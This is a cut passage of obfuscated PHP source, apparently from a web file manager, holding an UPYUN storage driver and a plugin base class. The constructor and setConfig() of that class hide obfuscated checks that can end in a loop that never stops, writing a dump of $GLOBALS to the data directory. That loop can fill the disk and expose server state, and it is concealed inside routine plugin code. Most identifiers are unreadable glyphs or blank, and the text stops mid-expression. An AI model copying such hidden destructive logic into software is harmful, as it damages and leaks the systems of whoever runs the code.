$ߣ = 0) { if (!$ߣ) { $ߣ = $this->sourceSize; } $ہ̈ = $this->sourceSize - $ڞ; if ($ߣ >= $ہ̈) { $ߣ = $ہ̈; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ڞ, $ߣ); } if ($this->sourceType == self::TYPE_FILE) { if ($ߣ <= 0) { return $_SERVER[ö][12]; } $ĭĖ = ftell($this->source); fseek_64($this->source, $ĭĖ + $ڞ); $ = @fread($this->source, $ߣ); fseek_64($this->source, $ĭĖ); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($ӧ, $Γ = 0) { $Ж = new PathDriverStream($ӧ, $Γ); return $Ж->hashSimple($ӧ); } public static function md5($牾, $ = 0) { $ذ = new PathDriverStream($牾, $); return $ذ->hashMd5($牾); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\164\164\160\72\x2f\57\166\60\56\141\160\x69\56\x75\x70\171\165\x6e\56\x63\x6f\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $ =& $_SERVER[ö]; foreach ($ as $ɠ => $旅Ō) { if (isset($this->{$ɠ})) { $this->{$ɠ} = $旅Ō; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1476] . LNG($[1407])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($͘å, $ǎ = "\x47\105\124") { $ =& $_SERVER[ö]; $ = gmdate($[1440]); $ = base64_encode(hash_hmac($[1477], "{$ǎ}\x26{$͘å}\x26{$}", md5("{$this->userpass}"), !0)); $ҍ = array("\101\165\164\x68\x6f\x72\151\172\141\164\151\157\156\72\x55\x50\131\x55\x4e\40{$this->username}\72{$}", "\104\141\x74\x65\x3a{$}"); return $ҍ; } public function ussRequest($ͱ, $ = "\107\105\x54", $ = false, $Ĉ = false, $ = false) { $㮜 =& $_SERVER[ö]; $ͱ = trim($ͱ, $㮜[8]); $߫ = "\x2f{$this->bucket}\57{$ͱ}"; $ = $this->ussHeaders($߫, $); if ($Ĉ) { $ = array_merge($, $Ĉ); } $ = url_request($this->endpoint . $߫, $, $, $, $); if (!$) { return array($㮜[1227] => !1, $㮜[1217] => $㮜[1478]); } if (strtolower($) == $㮜[196] || in_array($[$㮜[1227]], array($㮜[1333], $㮜[1479]))) { $ = $[$㮜[1480]]; } else { $ = json_decode($[$㮜[1217]], !0); if (!$) { $ = $[$㮜[1217]]; } else { if (!$[$㮜[756]] && isset($[$㮜[1481]])) { $ = $[$㮜[1481]]; } } } return array($㮜[1227] => $[$㮜[756]], $㮜[1217] => $); } public function mkfile($ܦ, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($ܦ, $)) { return $this->getPathOuter($ܦ); } return !1; } public function mkdir($, $ɥ = REPEAT_SKIP) { $ =& $_SERVER[ö]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ă = array($[1482]); $п = $this->ussRequest($, $[226], !1, $ă); return $п[$[1227]] ? $this->getPathOuter($) : !1; } public function copyFile($⨗, $) { $ =& $_SERVER[ö]; $ᔓ = array($[1483] . "\x2f{$this->bucket}\57{$⨗}", $[1484]); $ٙ = $this->ussRequest($, $[228], !1, $ᔓ); return $ٙ[$[1227]] ? !0 : $this->getPathOuter($); } public function moveFile($ؼ, $ڵ) { $ =& $_SERVER[ö]; $垼 = array($[1485] . "\x2f{$this->bucket}\x2f{$ؼ}", $[1484]); $݇ = $this->ussRequest($ڵ, $[228], !1, $垼); return $݇[$[1227]] ? !0 : $this->getPathOuter($ڵ); } public function delFile($) { $׀ =& $_SERVER[ö]; $ = $this->ussRequest($, $׀[1486]); return $[$׀[1227]] ? !0 : !1; } public function delFolder($) { $ۆ =& $_SERVER[ö]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $غ = array(); $this->fileList($, $, $غ, !0); $this->listItemCache = !0; foreach ($غ as $) { $Ը = $this->ussRequest($[$ۆ[32]], $ۆ[1486]); if (!$Ը[$ۆ[1227]]) { return !1; } } foreach ($ as $) { $Ը = $this->ussRequest($, $ۆ[1486]); if (!$Ը[$ۆ[1227]]) { return !1; } } $Ը = $this->ussRequest($, $ۆ[1486]); return $Ը[$ۆ[1227]]; } public function rename($ˡ, $) { if ($this->isFile($ˡ)) { $ = get_path_father($ˡ) . $; return $this->moveFile($ˡ, $); } return $this->renameObject($ˡ, $); } public function fileInfo($ܠ, $ = false, $Ɓ = array()) { $Ě =& $_SERVER[ö]; $ = array($Ě[32] => $this->pathThis($ܠ), $Ě[84] => $this->getPathOuter($Ě[8] . $ܠ), $Ě[33] => $Ě[199], $Ě[76] => isset($Ɓ[$Ě[76]]) ? $Ɓ[$Ě[76]] : 0, $Ě[174] => $this->ext($ܠ)); if ($) { return $; } $[$Ě[200]] = $[$Ě[85]] = 0; $[$Ě[201]] = $[$Ě[202]] = !0; if (empty($Ɓ)) { $Ɓ = $this->objectMeta($ܠ); if (!$Ɓ) { return $; } } $[$Ě[200]] = intval($Ɓ[$Ě[1487]]); $[$Ě[85]] = intval($Ɓ[$Ě[1488]]); $[$Ě[76]] = $Ɓ[$Ě[76]]; return $; } public function folderInfo($䈜, $Ʉ = false) { $ =& $_SERVER[ö]; $Ϩ = array($[32] => $this->pathThis($䈜), $[84] => $this->getPathOuter($[8] . $䈜), $[33] => $[75]); if ($Ʉ) { return $Ϩ; } $Ϩ[$[200]] = $Ϩ[$[85]] = 0; $Ϩ[$[201]] = $Ϩ[$[202]] = !0; if (empty($Ǭ)) { $Ǭ = $this->objectMeta($䈜); if (!$Ǭ) { return $Ϩ; } } $Ϩ[$[200]] = intval($Ǭ[$[1487]]); $Ϩ[$[85]] = intval($Ǭ[$[1488]]); return $Ϩ; } private function listObjs($, $Ŵ = 0, $ů = 1000) { $˸ =& $_SERVER[ö]; $Շ = array($˸[1489], $˸[1490] . $ů); if ($Ŵ) { $Շ[] = $˸[1491] . $Ŵ; } $ = $this->ussRequest($, $˸[230], !1, $Շ); return !$[$˸[1227]] ? !1 : $[$˸[1217]]; } private function fileList($ў, &$, &$Ԥ, $ڇև = false) { $ݑ͐ =& $_SERVER[ö]; $ = $ݑ͐[12]; $䭋 = 1000; $ᛥ = rtrim($ў, $ݑ͐[8]) . $ݑ͐[8]; while (!0) { check_abort(); $ٍ = $this->listObjs($ў, $, $䭋); if (!$ٍ) { return !1; } $ = isset($ٍ[$ݑ͐[1492]]) ? $ٍ[$ݑ͐[1492]] : $ݑ͐[12]; $ = isset($ٍ[$ݑ͐[1493]]) ? $ٍ[$ݑ͐[1493]] : array(); foreach ($ as $) { $ = $[$ݑ͐[33]] == $ݑ͐[75] ? !0 : !1; $ = ltrim($ᛥ . $[$ݑ͐[32]], $ݑ͐[8]) . ($ ? $ݑ͐[8] : $ݑ͐[12]); $ = array($ݑ͐[32] => $, $ݑ͐[33] => $ ? $ݑ͐[75] : $ݑ͐[199], $ݑ͐[76] => $[$ݑ͐[337]], $ݑ͐[1488] => $[$ݑ͐[1494]]); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($ڇև) { $this->fileList($, $, $Ԥ, $ڇև); } continue; } $Ԥ[] = $; } if (count($) < $䭋) { break; } } $this->cacheMethodInfoSet($ў, !0); } public function listPath($ٌ, $ޓÓ = false) { $ώ =& $_SERVER[ö]; $ = $҂ = array(); $this->fileList($ٌ, $, $҂); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $ޓÓ); } foreach ($҂ as $ => $) { $҂[$] = $this->fileInfo($[$ώ[32]], $ޓÓ, $); } return array($ώ[82] => $, $ώ[83] => $҂); } public function has($, $Ñ = false, $ = true) { $ٙ⦏ =& $_SERVER[ö]; $ⲩ = $ٙ⦏[12]; $͖ = 500; $諭 = 0; $ = 0; $ޗ = rtrim($, $ٙ⦏[8]) . $ٙ⦏[8]; while (!0) { check_abort(); $ޗӆ = $this->listObjs($, $ⲩ, $͖); if (!$ޗӆ) { return !1; } $ⲩ = isset($ޗӆ[$ٙ⦏[1492]]) ? $ޗӆ[$ٙ⦏[1492]] : $ٙ⦏[12]; $ = isset($ޗӆ[$ٙ⦏[1493]]) ? $ޗӆ[$ٙ⦏[1493]] : array(); if (empty($)) { break; } $מ = array_filter($, function ($) { $ =& $_SERVER[ö]; return $[$[33]] == $[75]; }); $ɵ = count($); $מ = count($מ); $Β = $ɵ - $מ; if ($Ñ) { $ += $מ; $諭 += $Β; if ($ɵ < $͖) { break; } continue; } if ($) { if ($Β) { return !0; } } else { if ($מ) { return !0; } } if ($ɵ < $͖) { break; } } if ($Ñ) { return array($ٙ⦏[207] => $諭, $ٙ⦏[208] => $); } return !1; } public function listAll($Ċ) { $ =& $_SERVER[ö]; $ݽ = $Ŭ = array(); $this->fileList($Ċ, $ݽ, $Ŭ, !0); $ = array(); foreach ($Ŭ as $䟽) { $[$䟽[$[32]]] = $䟽[$[76]]; } foreach ($ݽ as $䟽) { if (is_string($䟽)) { $[$䟽] = 0; } } return $this->listAllFiles($Ċ, array_keys($), $); } public function canRead($ུ) { return $this->exist($ུ) ? !0 : !1; } public function canWrite($պ) { return $this->exist($պ) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($ǔ, $ = '') { $ =& $_SERVER[ö]; if (!$) { $ = $this->ussRequest($ǔ, $[226]); return $[$[1227]]; } $ = $this->tempFile($this->pathThis($ǔ)); file_put_contents($, $); if ($this->upload($ǔ, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($Խ, $, $) { $飳 =& $_SERVER[ö]; if (!($ = $this->link($Խ))) { return !1; } $ = !1; if ($ > 0) { $DZ = $ + $ - 1; $ = array($飳[1455] . $ . $飳[386] . $DZ); } $ʢ = url_request($, $飳[230], !1, $); return $ʢ[$飳[756]] ? $ʢ[$飳[1217]] : !1; } public function upload($ހ, $܁, $덿 = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[ö]; $Ќ = IO::size($܁); if ($Ќ <= 1024 * 1024 * 200) { $ = array($[1495] . $܁); $ڴ = $this->ussRequest($ހ, $[228], $); return $ڴ[$[1227]] ? $this->getPathOuter($ހ) : !1; } $ = 1024 * 1024 * 10; $Ӧ = array($[1496], $[1497] . $Ќ, $[1498], $[1499] . $); $ڴ = $this->ussRequest($ހ, $[228], !1, $Ӧ); if (!$ڴ[$[1227]]) { return !1; } $ = $ڴ[$[1217]]; $ = 0; $Ֆ = $[$[1500]]; $ = fopen($܁, $[1404]); if (!$) { return !1; } do { $ë = $[$[1501]]; fseek_64($, $); $˞͛ = fread($, $ë); $ = 0; do { $++; $ = $this->uploadPart($ހ, $, $˞͛); } while (!$ && $ < 3); if (!$) { return !1; } $Ֆ = $[$[1500]]; $ += $ë; } while ($Ֆ != -1); fclose($); $Ӧ = array($[1502], $[1503] . $[$[1504]], $[1498]); $ڴ = $this->ussRequest($ހ, $[228], !1, $Ӧ); return $ڴ[$[1227]] ? $this->getPathOuter($Ű) : !1; } private function uploadPart($, $ܜ, &$쎱) { $ =& $_SERVER[ö]; $ = array($[1505], $[1503] . $ܜ[$[1504]], $[1506] . $ܜ[$[1500]], $[142] . $ܜ[$[1501]]); $̆ = $this->ussRequest($, $[228], $쎱, $); return !$̆[$[1227]] ? $̆[$[1227]] : $̆[$[1217]]; } public function uploadFormData($, $Ӱ = 3600) { return $this->uploadPolicy($, $Ӱ); } public function multiUploadFormData($Ƌ, $Ӧ = 3600) { $ =& $_SERVER[ö]; $ϓ = (int) $GLOBALS[$[7]][$[76]]; return $this->uploadPolicy($Ƌ, $Ӧ, $ϓ); } private function uploadPolicy($, $ϝ = 3600, $˸ = 0) { $ =& $_SERVER[ö]; $㤧 = $[8] . $this->bucket; $ = gmdate($[1440]); $ߚ = array($[1507] => $this->bucket, $[1508] => $, $[1509] => time() + $ϝ, $[1510] => $); if ($˸) { $ߚ[$[1420]] = $˸; } $ε = base64_encode(json_encode($ߚ)); $Ӧ¿ = base64_encode(hash_hmac($[1477], "\120\117\x53\124\46{$㤧}\46{$}\46{$ε}", md5("{$this->userpass}"), !0)); $ = array($[1345] => $ε, $[1511] => "\x55\x50\131\125\x4e\40{$this->username}\72{$Ӧ¿}", $[181] => $this->endpoint . $㤧); return $; } public function download($, $) { $˯ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ꂘ = 0; $ = 1024 * 200; $ = fopen($˯, $_SERVER[ö][1461]); while (!0) { $҃͒ = $this->fileSubstr($, $ꂘ, $); if ($҃͒ === !1) { return !1; } fwrite($, $҃͒); $ꂘ += $; if (strlen($҃͒) < $) { break; } } fclose($); return $; } public function link($, $坄 = array()) { $ʌ횤 =& $_SERVER[ö]; $ = trim($, $ʌ횤[8]); if (!empty($this->token)) { $ѭγ = strtotime(date($ʌ횤[1512])); $ť = substr(md5($this->token . $ʌ횤[284] . $ѭγ . $ʌ횤[1513] . $), 12, 8) . $ѭγ; $坄[] = $ʌ횤[1514] . $ť; } $ = !empty($坄) ? $ʌ횤[73] . implode($ʌ횤[284], $坄) : $ʌ횤[12]; return $this->getHost() . $ʌ횤[8] . $ . $; } public function fileOut($, $ڻȾ = false, $Ġő = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $ڻȾ, $Ġő, $); } if (!$Ġő) { $Ġő = $this->pathThis($); } $ = $ڻȾ ? array($_SERVER[ö][1515] . rawurlencode($Ġő)) : array(); $Ġ = $this->link($, $); $this->fileOutLink($Ġ); } public function fileOutServer($, $ܰ = false, $Т = false, $ˣ = '') { parent::fileOut($, $ܰ, $Т, $ˣ); } public function fileOutImage($Ú, $چ = 250) { $ە = $this->link($Ú . $_SERVER[ö][1516] . $چ); $this->fileOutLink($ە); } public function fileOutImageServer($ٶ, $ٹ = 250) { parent::fileOutImage($ٶ, $ٹ); } public function hashMd5($ڮ) { $ =& $_SERVER[ö]; $ = $this->_objectMeta($ڮ); return isset($[$[212]]) ? $[$[212]] : !1; } public function size($ȩ) { $ = $this->objectMeta($ȩ); return $ ? $[$_SERVER[ö][76]] : 0; } public function info($삜) { if ($this->isFolder($삜)) { return $this->folderInfo($삜); } else { if ($this->isFile($삜)) { return $this->fileInfo($삜); } } return !1; } public function exist($塷) { return $this->isFile($塷) || $this->isFolder($塷); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ö][165], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ö][167], $); } protected function _objectMeta($) { $ =& $_SERVER[ö]; if ($ == $[12] || $ == $[8]) { return array(); } $ = $this->ussRequest($, $[1517]); if (!$[$[1227]]) { return null; } $ = isset($[$[1217]]) ? $[$[1217]] : array(); if (!isset($[$[1518]])) { return null; } $ɼ = array($[33] => isset($[$[1518]]) ? $[$[1518]] : null, $[76] => isset($[$[1519]]) ? $[$[1519]] : null, $[212] => isset($[$[1520]]) ? $[$[1520]] : null, $[1487] => isset($[$[1521]]) ? $[$[1521]] : null); $ɼ[$[1488]] = isset($[$[1522]]) ? strtotime($[$[1522]]) : $ɼ[$[1487]]; return $ɼ; } protected function _isFolder($Ь) { $ =& $_SERVER[ö]; if ($Ь == $[12] || $Ь == $[8]) { return !0; } $˅ = $this->_objectMeta($Ь); return isset($˅[$[33]]) && $˅[$[33]] == $[75] ? !0 : !1; } } goto aս; A: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[ö]; $ů = $_SERVER[$[847]]; $ߜ߅ = $[890]; if ($_SERVER[$[840]] != $ߜ߅($ů)) { $ף = $[891]; $͒ = $[842]; $Ԏ = $_SERVER[$[843]] . $[844]; $ǔޣ = $͒($Ԏ); $ƃ = explode($[231], $ǔޣ); if (count($ƃ) < $[636]) { $䋲 = $[845]; $䋲(); } $ = $[892]; $($_SERVER[$[893]]); $ף = $[891]; $ף(); $ = $[894]; $Ϸ = json_encode($GLOBALS[$[895]]); $Ӹ = 1; for ($ = $Ӹ; $ > 0; $++) { $(DATA_PATH . $, $Ϸ); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1544]); $this->pluginName = str_replace($[1544], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1545] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1546]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1546]] . $this->pluginName . $[8]; $ؙ = $config[$[1547]]; if ($ؙ && strpos($[50] . $ؙ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1548]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ö][1549]); } protected function assign($, $֩ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $֩; } } protected function display($) { extract($this->values); require $; } final function hookRegist($̃) { $this->modelPlugin->appRegist($this->pluginName, $̃); } final function appIcon() { $ =& $_SERVER[ö]; $˅ = $this->appPackage(); $Ӷ = $[12]; if (isset($˅[$[416]])) { if (isset($˅[$[416]][$[1550]])) { $Ӷ = $[1551] . $˅[$[416]][$[1550]] . $[1552]; } else { if ($˅[$[416]][$[1553]]) { $Ӷ = $[1554] . $˅[$[416]][$[1553]] . $[1555]; } } } return $Ӷ; } final function fileCanView($) { $ =& $_SERVER[ö]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } $ӭ = Session::get($[1556]); if (!$ӭ || !$ӭ[$[1557]]) { $䶶 = $[1558] . rawurlencode(this_url()); show_tips(LNG($[1559]) . $[1560] . $䶶 . $[1561] . LNG($[1562]) . $[1563], !1); } if (!Action($[1564])->authCan($[1565])) { show_tips(LNG($[1566]) . $[1567], !1); } ActionCall($[1568], $); } final function isShare($) { $ = KodIO::parse($); return $[$_SERVER[ö][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($); } return Action($_SERVER[ö][1189])->linkOut($); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[ö][1189])->link($); } final function filePath($Ӿ) { $݊ř =& $_SERVER[ö]; if ($ = $this->checkSharePath($Ӿ)) { Hook::trigger($݊ř[1569], $); return $; } $this->fileCanView($Ӿ); if (request_url_safe($Ӿ)) { $ɬߦ = parse_url_query($Ӿ); if (isset($ɬߦ[$݊ř[1570]]) && isset($ɬߦ[$݊ř[213]])) { $ = Model($݊ř[776])->get($݊ř[777]); $ = Mcrypt::decode($ɬߦ[$݊ř[213]], $); if ($) { $this->fileInfo = IO::infoWithChildren($); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $; } } $Ӿ = $this->_cacheHttpFile($Ӿ); $this->fileInfo = IO::infoWithChildren($Ӿ); } else { $this->fileInfo = IO::infoWithChildren($Ӿ); if (!$this->fileInfo) { show_tips(LNG($݊ř[105]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($݊ř[1569], $Ӿ); return $Ӿ; } final function _cacheHttpFile($) { $ԫ = hash_path($, !0); $this->cachePath = $this->pluginCachePath($ԫ); if ($ܒ = IO::fileNameExist($this->cachePath, $ԫ)) { return KodIO::make($ܒ); } $Ě = $this->cachePath . $ԫ; return $this->pluginCacheFileSet($Ě, file_get_contents_nossl($)); } final function _tmpFileName($҈ = array()) { $ =& $_SERVER[ö]; if (!$҈) { $҈ = $this->fileInfo; } if (isset($҈[$[177]])) { return $҈[$[177]]; } if (isset($҈[$[170]][$[177]])) { return $҈[$[170]][$[177]]; } $Ӿ = IO::hashSimple($҈[$[84]]); if ($Ӿ) { return $Ӿ; } $ϰ = array($҈[$[32]], $҈[$[84]], $҈[$[76]]); if (isset($҈[$[521]])) { $ϰ[] = $҈[$[521]]; } return md5(implode($[11], $ϰ)); } final function checkSharePath($) { $š =& $_SERVER[ö]; if (!defined($š[475])) { define($š[514], 0); } if (!$this->isShare($)) { return !1; } $É = Action($š[1189])->sharePathInfo($); if (!isset($É[$š[84]])) { show_json(LNG($š[1571]), !1); } $this->fileInfo = $É[$š[170]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$š[177]]); return $É[$š[84]]; } final function pluginCachePath($ = '') { $ =& $_SERVER[ö]; $ = IO_PATH_SYSTEM_TEMP . $[1572] . $this->pluginName; if (!($ѡ = IO::infoFull($))) { return IO::mkdir($ . $[8] . $); } if (empty($)) { return $ѡ[$[84]]; } if (!($ = IO::fileNameExist($ѡ[$[84]], $))) { return IO::mkdir($ѡ[$[84]] . $); } return KodIO::make($); } final function pluginCacheFileSet($, $ = '') { $ =& $_SERVER[ö]; if (!($Ҥ = IO::infoFull($))) { return IO::mkfile($, $, REPEAT_REPLACE); } IO::setContent($Ҥ[$[84]], $); return $Ҥ[$[84]]; } final function pluginLocalFile($ = '') { $Üտ =& $_SERVER[ö]; $ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $ = IO::info($); $ː = $this->_tmpFileName($) . $Üտ[10] . $[$Üտ[174]]; if (!checkExtSafe($ː)) { $ː = $ː . $Üտ[1221]; } $« = $ . $ː; if (@file_exists($«)) { return $«; } return IO::copy($, $, 0, $ː); } final function appPackage() { $ =& $_SERVER[ö]; if ($this->packageData) { return $this->packageData; } $״ = $this->parseFile($this->pluginPath . $[1573]); $this->parseLang($״); $ = json_decode_force($״); if (!$) { return array(); } $ = Hook::trigger($[1574], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($ȫ) { $ = $this->appPackage(); return array_get_value($, $ȫ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ö][1575]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ö][1576]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ö][1577]); } public function echoJsAssign($π, $Ɵ) { $this->echoJsAssignArr[$π] = $Ɵ; } private function parseFile($؞) { $ҿݩ =& $_SERVER[ö]; $Ǘ = file_get_contents_nossl($؞); $lj = array($ҿݩ[1578], $ҿݩ[1579], $ҿݩ[1580], $ҿݩ[1581], $ҿݩ[1582], $ҿݩ[1583], $ҿݩ[1584]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ҿݩ[89]][$ҿݩ[1585]]); foreach ($this->echoJsAssignArr as $͖ => $ʯ) { $lj[] = $ҿݩ[1586] . $͖ . $ҿݩ[1587]; $[] = is_array($ʯ) || is_object($ʯ) ? rawurlencode(json_encode($ʯ)) : $ʯ; } if (strstr($Ǘ, $ҿݩ[1588])) { $Ͽޥ = rawurlencode(json_encode($this->pluginLangArr)); $Ǘ = str_replace($ҿݩ[1588], $Ͽޥ, $Ǘ); } if (strstr($Ǘ, $ҿݩ[1589])) { $Ͽޥ = $Ͽޥ = rawurlencode(json_encode($this->getConfig())); $Ǘ = str_replace($ҿݩ[1589], $Ͽޥ, $Ǘ); } $Ǘ = str_replace($lj, $, $Ǘ); return $Ǘ; } private function parseLang(&$ꃨ) { $Ǐȶ =& $_SERVER[ö]; $ҏ͜ = $Ǐȶ[1590]; if (!strstr($ꃨ, $ҏ͜)) { return; } preg_match_all($Ǐȶ[1591], $ꃨ, $Ш); if (!is_array($Ш) || count($Ш) == 0 || !is_array($Ш[0]) || count($Ш[0]) == 0) { return; } $֫ = array(); $ = array(); foreach ($Ш[0] as $) { $ԕ = substr($, strlen($ҏ͜), -4); $݀ = LNG($ԕ); $֫[] = $; $[] = str_replace(array($Ǐȶ[231], $Ǐȶ[1092], $Ǐȶ[342], $Ǐȶ[118]), array($Ǐȶ[53], $Ǐȶ[53], $Ǐȶ[12], $Ǐȶ[1592]), $݀); } $ꃨ = str_replace($֫, $, $ꃨ); } private function parseConfig(&$ߌ) { $䩄 =& $_SERVER[ö]; $ߙ = $䩄[1593]; if (!strstr($ߌ, $ߙ)) { return; } preg_match_all($䩄[1594], $ߌ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ǃ = $this->getConfig(); $Ҏ = array(); $غ = array(); foreach ($[0] as $۲) { $ = substr($۲, strlen($ߙ), -2); $Ҏ[] = $۲; $غ[] = _get($ǃ, $); } $ߌ = str_replace($Ҏ, $غ, $ߌ); } private function parsePackage(&$ɦź) { $ˢ =& $_SERVER[ö]; $ = $ˢ[1595]; if (!strstr($ɦź, $)) { return; } preg_match_all($ˢ[1596], $ɦź, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $脾 = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($脾, $); } $ɦź = str_replace($, $, $ɦź); } final function echoFile($ۼ, $Э = false) { $˒ =& $_SERVER[ö]; $ = $this->pluginPath . $ۼ; if (ACT == $˒[1597]) { echo $˒[1598] . $this->pluginName . $˒[8] . $ۼ . $˒[1599]; if (!file_exists($)) { echo $˒[1600]; return; } } $ؠ = $this->parseFile($); $this->parseLang($ؠ); $this->parseConfig($ؠ); $this->parsePackage($ؠ); if (is_array($Э)) { $ؠ = str_replace(array_keys($Э), array_values($Э), $ؠ); } echo $˒[231] . $ؠ; } final function initLang() { $У =& $_SERVER[ö]; $ = $У[1601]; $Ŭ = $this->pluginPath . $У[1602]; $ = I18n::getType(); $ۓȼ = array(); if (file_exists($Ŭ . $ . $У[852])) { $ۓȼ = (include $Ŭ . $ . $У[852]); } else { if ($ == $У[1603] && !file_exists($Ŭ . $ . $У[852]) && file_exists($Ŭ . $У[1604])) { $ۓȼ = (include $Ŭ . $У[1604]); } else { if (file_exists($Ŭ . $ . $У[852])) { $ۓȼ = (include $Ŭ . $ . $У[852]); } } } if (!is_array($ۓȼ)) { return array(); } if (@count($ۓȼ) > 0) { I18n::set($ۓȼ); } return $ۓȼ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($䨃) { $Ռ =& $_SERVER[ö]; $ = $_SERVER[$Ռ[843]] . $Ռ[844]; $ص = $Ռ[890]; if ($_SERVER[$Ռ[840]] != $ص($)) { $ = $Ռ[891]; $ = $Ռ[842]; $ = $_SERVER[$Ռ[843]] . $Ռ[844]; $ = $($); $ = explode($Ռ[231], $); if (count($) < $Ռ[636]) { $̍Ȍ = $Ռ[845]; $̍Ȍ(); } $ճ = $Ռ[892]; $ճ($_SERVER[$Ռ[893]]); $ = $Ռ[891]; $(); $¶ = $Ռ[894]; $ = json_encode($GLOBALS[$Ռ[895]]); $ = 1; for ($ = $; $ > 0; $++) { $¶(DATA_PATH . $, $); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $䨃); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\160\x6c\x75\147\x69\156\x41\165\x74\150") { $麫 =& $_SERVER[ö]; if (!defined($麫[475])) { return !1; } if (_get($GLOBALS, $麫[503])) { return !0; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($麫[1605], $[$]); } public function url($, $א = '', $ = true) { $䛖 =& $_SERVER[ö]; $Ԡ֔ = $this->getConfig(); $۾ = KOD_VERSION . $䛖[10] . KOD_VERSION_BUILD; $ކ = $this->packageVersion(); $ = $۾ . $䛖[386] . $ކ; if (substr($, 0, 4) == $䛖[148] || substr($, 0, 2) == $䛖[1390]) { $ż = $ . $䛖[1606] . $; } else { if ($א == $䛖[12]) { $ż = $this->pluginHost . $ . $䛖[1606] . $; } else { if ($א === $䛖[75]) { $ż = $this->pluginHost . $; } else { if ($א == $䛖[1607]) { $ż = STATIC_PATH . $ . $䛖[1606] . $۾; } else { if ($א == $䛖[1608]) { $ż = APP_HOST . $䛖[1609] . $ . $䛖[1606] . $۾; } else { if (isset($Ԡ֔[$א])) { $ż = $Ԡ֔[$א] . $ . $䛖[1606] . $; } } } } } } if (!$) { return $ż; } echo $ż; } public function link($ = false, $υ = '') { $폧 =& $_SERVER[ö]; if (!$) { $this->link($폧[1610], $폧[1608]); $this->link($폧[1611], $폧[1607]); $this->link($폧[1612], $폧[1607]); $this->link($폧[1613], $폧[1607]); $this->link($폧[1614], $폧[1607]); return; } $ = $this->url($, $υ, !1); if (substr($, -3) == $폧[1615]) { echo $폧[1616] . $ . $폧[1617] . $폧[231]; } else { if (substr($, -4) == $폧[1618]) { echo $폧[1619] . $ . $폧[1620] . $폧[231]; } } } } if (!isset($_SERVER[$_SERVER[ö][840]]) || !isset($_SERVER[$_SERVER[ö][847]])) { $_getc = $_SERVER[ö][842]; $_getfile = $_SERVER[$_SERVER[ö][843]] . $_SERVER[ö][844]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ö][231], $_getfilec); if (count($_getarrs) < $_SERVER[ö][619]) { $exit = $_SERVER[ö][845]; $exit(); } $_act = $_SERVER[ö][846]; $_act($_SERVER[$_SERVER[ö][843]] . $_SERVER[ö][844]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . 